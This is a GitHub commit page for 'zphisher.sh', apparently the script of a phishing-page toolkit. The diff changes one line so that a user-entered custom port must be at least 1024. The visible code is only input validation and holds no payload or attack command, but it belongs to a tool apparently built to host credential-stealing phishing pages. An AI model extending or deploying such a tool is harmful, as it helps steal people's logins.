Skip to content

Commit 171ef71

Browse files
authored
Update zphisher.sh
Minor changes, added minimum port value in condition
1 parent 33ced5e commit 171ef71

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

zphisher.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -365,7 +365,7 @@ cusport() {
365365
if [[ ${P_ANS} =~ ^([yY])$ ]]; then
366366
printf "\n\n"
367367
read -n4 -p "${RED}[${WHITE}-${RED}]${ORANGE} Enter Your Custom 4-digit Port 1024-9999 : ${WHITE}" CU_P
368-
if [[ ! -z ${CU_P} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ ]]; then
368+
if [[ ! -z ${CU_P} && "${CU_P}" =~ ^([1-9][0-9][0-9][0-9])$ && ${CU_P} -ge 1024 ]]; then
369369
PORT=${CU_P}
370370
echo ""
371371
else

0 commit comments

Comments
 (0)